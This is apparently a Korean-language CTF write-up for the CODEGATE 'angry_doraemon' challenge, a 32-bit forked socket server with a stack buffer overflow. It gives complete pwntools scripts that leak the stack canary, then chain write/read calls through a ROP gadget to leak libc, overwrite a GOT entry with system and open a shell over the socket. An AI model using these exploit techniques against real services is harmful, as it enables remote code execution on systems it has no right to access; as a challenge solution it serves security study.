Self-Improvement

[CODEGATE] angry_doraemon (32bit) 풀이 및 Pwntools 본문

리버싱 기초/CODEGATE

[CODEGATE] angry_doraemon (32bit) 풀이 및 Pwntools

JoGeun 2020. 6. 9. 10:39

angry_doraemon
0.01MB

 

FILE

ELF 32bit, dynamically linked, stripped

 

적용된 보호기법

 

Functions

 

IDA

Main

8888포트로 소켓 통신이 이루어진다.

그리고 그림엔 없지만 fork()로 인해 canary는 고정이 되어진다.

 

sub_8048FC6

취약점이 존재하는 함수를 바로 확인해본다.

buf 변수는 ebp-0x16이며 canary(ebp-0xC)를 빼면 10바이트크기를 가지고있다.

하지만 read함수에서 110바이트를 읽어들이고 있음으로 BOF가 발생하게 되며 sprintf함수에 의해 memory leak으로 canary까지 구할 수 있을 것으로 보인다.

 

Canary LEAK

canary의 뒤 1바이트가 \x00으로 존재한다는 가정하에 11바이트를 전송하여 leak 해본다.

그리고 11바이트를 채울 문자열을 전송할때는 첫 바이트는 y(0x121)로 전송을 해야 IF문에서 True로 진행된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
 
context.log_level='debug'
 
 
e=ELF('./angry_doraemon')
p=remote("localhost",8888)
 
p.recvuntil('>')
p.sendline('4')
 
p.recvuntil("(y/n)")
 
payload='y'*11
 
p.send(payload)
p.recvuntil('y'*11)
print hexdump(p.read(3))
cs

 

ROP

Canary를 얻었으면 이제 ROP를 진행해야한다.

ROP에 필요한 것

1. write 함수주소
2. read 함수주소
3. system 함수주소
4. bss 영역
5. pop pop pop ret 주소
6. read-system offset

 

Python Pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
 
context.log_level='debug'
 
 
e=ELF('./angry_doraemon')
p=remote("localhost",8888)
 
p.recvuntil('>')
p.sendline('4')
 
p.recvuntil("(y/n)")
 
canary=0x76384a00
offset=0x9ad60
p3r=0x80495bd
bss=e.bss()
binsh="/bin/sh 0>&4 1>&4 2>&4\x00"
 
payload='y'*10
payload+=p32(canary)
payload+='B'*12
 
payload+=p32(e.plt["write"])
payload+=p32(p3r)
payload+=p32(4)
payload+=p32(e.got["read"])
payload+=p32(4)
 
payload+=p32(e.plt["read"])
payload+=p32(p3r)
payload+=p32(4)
payload+=p32(bss)
payload+=p32(len(binsh)+2)
 
payload+=p32(e.plt["read"])
payload+=p32(p3r)
payload+=p32(4)
payload+=p32(e.got["write"])
payload+=p32(4)
 
payload+=p32(e.plt["write"])
payload+='C'*4
payload+=p32(bss)
 
p.send(payload)
p.recv()
read_addr=u32(p.recv()[-4:])
system=read_addr-offset
 
p.send(binsh)
p.send(p32(system))
 
p.interactive()
cs

 

Pwntools ROP.chain()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
 
context.log_level='debug'
 
 
e=ELF('./angry_doraemon')
p=remote("localhost",8888)
 
p.recvuntil('>')
p.sendline('4')
 
p.recvuntil("(y/n)")
 
canary=0x76384a00
offset=0x9ad60
bss=e.bss()
binsh="/bin/sh 0>&4 1>&4 2>&4\x00"
 
rop=ROP(e)
rop.write(4,e.got["read"],4)
rop.read(4,bss,len(binsh)+2)
rop.read(4,e.got["write"],4)
rop.write(bss)
 
payload='y'*10
payload+=p32(canary)
payload+='B'*12
payload+=rop.chain()
 
p.send(payload)
p.recv()
read_addr=u32(p.recv()[-4:])
system=read_addr-offset
 
p.send(binsh)
p.send(p32(system))
 
p.interactive()
cs